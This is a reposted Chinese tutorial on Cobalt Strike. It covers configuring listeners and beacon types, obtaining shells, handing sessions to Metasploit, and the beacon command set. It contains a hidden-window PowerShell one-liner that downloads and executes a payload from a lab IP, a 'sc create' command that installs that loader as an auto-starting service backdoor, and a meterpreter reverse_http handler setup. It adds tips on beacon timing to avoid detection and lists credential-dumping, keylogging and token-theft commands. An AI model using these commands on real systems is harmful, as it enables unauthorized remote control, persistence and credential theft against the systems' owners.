一、进行监听
0x01 listeners介绍
Listeners顾名思义就是监听者,其实就可以理解为我们在这边执行nc -lvp 4444端口一样,这样就在监听所有访问该主机的4444端口的流量,我们可以使用Cobalt Strike来生成一个Listeners进行监听,然后生成一个payload并且在目标主机上执行,这样就可以接收到一个shell了。
0x02 Listeners建立
(1):添加Listener
①:Cobalt Strike-->Listeners
②:快捷功能区打开Listeners
(2):添加监听者
(3):编辑监听者信息
0x03 Beacon类型介绍
(1):Beacon DNS
在Cobalt Strike 4.0 及之后的版本中,DNS Beacon 是一个仅 DNS 的 payload。然后在DNS Hosts的右边的加号可以添加DNS主机,减号可以删除DNS主机。
(2):Beacon HTTP
一般情况下,只需要填Http Hosts和Http Host(Stager)和Http port(C2)就够了,前两个值一般相同,是你自己C2(Command & Control)的域名或者IP,第三个值是你的监听端口。后面的HTTP Port(Bind)是绑定web服务的端口,一般在使用重定向技术的时候会用到(例如接收来自80端口的连接,但是将连接重定向到另一个端口。HTTP Host Header是在使用域前置技术的时候可能会用到。HTTP Proxy是在使用代理时使用。
Beacon HTTP的原理是利用http请求来进行通信来向受害主机传达命令,以此达到控制对方主机的目的。但是缺点是明文传输。
(3):Beacon HTTPS
Beacon HTTPS的payload与Beacon HTTP的payload原理和使用方法一样,但是主要的区别就是Beacon HTTPS是进行加密传输的。
(4):Beacon SMB
SMB Beacon使用命名管道通过一个父Beacon进行通信。这种对等通信(指SMB Beacon 通过管道(pipe)进行进程间的数据传递。管道通信的进程可以是本地主机上的两个进程,也可以和远程主机上的进程通过网络进行通信)对同一台主机上的Beacon和跨网络的Beacon都有效。Windows 将命名管道通信封装在SMB协议中。因此得名SMB Beacon。
唯一的与SMB Beacon相关的选项是 pipeame (管道名称)。你可以设置一个明确的管道名称或接受默认选项。SMB Beacon与 Cobalt Strike 中派生 payload 的大多数动作兼容。这个的例外情况是用户驱动的攻击(例如 Attacks →Packages , Attacks → Web Drive-by)这种要求明确 stager 的。
Cobalt Strike后渗透和横向移动行为派生一个 payload,会尝试为你承担对 SMB Beacon payload 的控制。如果你手动的运行SMB Beacon,你将需要从一个父Beacon链接到它。
(5):Beacon TCP
TCP Beacon 使用一个TCP socket 来通过一个父Beacon通信。这种对等通信对同一台主机上的Beacon 和跨网络的Beacon都有效。
CS4.0之后,只有正向的tcp listener了,这个技术不适用于作为第一个木马来用,因为第一个木马一般都是反弹shell,但是这反而很适合在内网穿透的时候去使用,且在内网穿透的时候一般只能使用tcp beacon去生成木马(cs生成的pivot listener上只有tcp beacon这一个选项)。
(6):External C2
External C2是一种规范,允许第三方程序充当Cobalt Strike的Beacon payload的通信层。这些第三方程序连接到Cobalt Strike来阅读预定使用的帧,并使用以此种方式控制的payload的输出写帧。这些第三方程序使用外置 C2 服务器来与你的Cobalt Strike团队服务器交互。
外置C2接口有两个选项。Port(Bind) 指定外置C2服务器等待连接的端口。勾选Bind to localhost only以使外置 C2 服务器仅本地主机。
外置C2监听器与其他Cobalt Strike监听器不同。这个监听端口其实是一个数据接收端口,没有相关的其他监听器的功能,所以不能用来发一些后渗透指令过去。
(7):Foreign HTTP
Cobalt Strike支持对外监听器的概念。这些是托管在Metasploit框架或其他Cobalt Strike实例的 x86 payload handler的别名。Foreign HTTP可以接收Metasploit框架反弹的shell。
(8):Beacon HTTPS
Beacon HTTPS与Beacon HTTP的功能是一样的,区别就是监听的端口不同,并且Beacon HTTPS的流量是进行加密传输的。
二、使用Cobalt Strike接收shell
0x01 生成payload
(1):添加payload
①:Attacks-->Web Drive-by-->Scripted Web Delivery
②:快捷功能生成payload
(2):设置payload
(3):生成payload
0x02 getshell
(1):进行监听
(2):生成payload
(3):执行payload
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.223.160:81/a'))"
(4):看到该主机上线
0x03 执行交互式命令
(1):进入交互式页面
(2):执行交互式命令
在进入交互式页面执行cmd命令时,必须要在想要执行cmd命令前面加上"shell"。但是如果只是执行Beacon命令时就不需要使用shell了。
(3):修改回连时间
sleep 5 #不需要添加shell
Beacon每次会在心跳时间结束后执行命令,但是beacon默认的心跳时间是60秒一次,因此可以缩短心跳时间,这样可以更快的执行命令。
(4):提权
右键选中shell-->Access-->Elevate
(5):添加后门
①:添加后门test
shell sc create "test" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.223.160:81/a'))"
②:让test进程自启动
shell sc config "test" start= auto
三、使用Metasploit接收shell
0x01 获得一个Cobalt Strike的shell
按照上述方法获取一个Cobalt Strike的shell。
0x02 创建一个msf的外置监听器
0x03 Metasploit启动监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.223.138
set lport 81
options
run
注意:Metasploit中的payload类型、监听IP、端口等需要和Cobalt Strike中的参数一致。
0x04 Metasploit接收shell
可以看到已经拿到了meterpreter的shell了。
四、右键参数介绍
0x01 Interact参数
Interact #交互式shell
0x02 Access参数
Dump Hashes #获取hash
Elevate #提权
Golden Ticket #生成黄金票据注入当前会话
One-Liner #oneliner会生成一段在目标beacon本地运行的payload
Make token #凭证转换
Run Mimikatz #运行 Mimikatz
Spawn As #用其他用户生成Cobalt Strike侦听器
0x03 Explore参数
Browser Pivot #劫持目标浏览器进程
Desktop(VNC) #桌面交互
File Browser #文件浏览器
Net View #命令Net View
Port Scan #端口扫描
Process List #进程列表
Screenshot #截图
0x04 Pivoting参数
SOCKS Server #代理服务
Listener #反向端口转发
Deploy VPN #部署VPN
0x05 Spawn参数
Spawn #外部监听器(如指派给MSF,获取meterpreter权限)
0x06 Session参数
Note #备注
Remove #删除
Sleep #指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务。实际中频率不宜过快,容易被发现
Exit #退出
五、Interact参数详解
0x01 Interact参数
beacon> help
Beacon Commands
===============
Command Description
------- -----------
argue 进程参数欺骗
blockdlls 阻止子进程加载非Microsoft DLL
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC提升权限
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程桌面(VNC)
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 使用exp
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 终止beacon会话
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在注入进程生成会话
jobkill 结束一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以其他用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell 执行cmd命令
shinject 将shellcode注入进程
shspawn 启动一个进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件的时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM横向渗透
wmi 使用WMI横向渗透
0x02 常用的Beacon命令
(1):获取当前用户权限
getuid
(2):获取system权限
getsystem
输入getsystem后会尝试去获取system权限(但是并不是说一定会成功)。system是windows中的第二高的权限,即使拥有system权限,也无法修改系统文件,TrustedInstaller权限是windows操作系统的最高权限。
(3):获取Beacon的所有权限
getprivs
0x03 注意
在Cobalt Strike中它的心跳默认是60s(即sleep时间为60s,也就是说Cobalt Strike客户端每一分钟目标主机与teamserver通信一次), 这会让我们执行命令或进行其他操作响应很慢。因此在拿到Cobalt Strike的beacon后先进行sleep 5,加快服务器端响应时间,不要将心跳时间调的太快,这样就很容易监控到异常流量。然后执行命令时,在想要执行的命令前加上shell,如shell whoami。
原文始发于微信公众号(想走安全的小白):Cobalt Strike系列二----Cobalt Strike获取Beacon
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论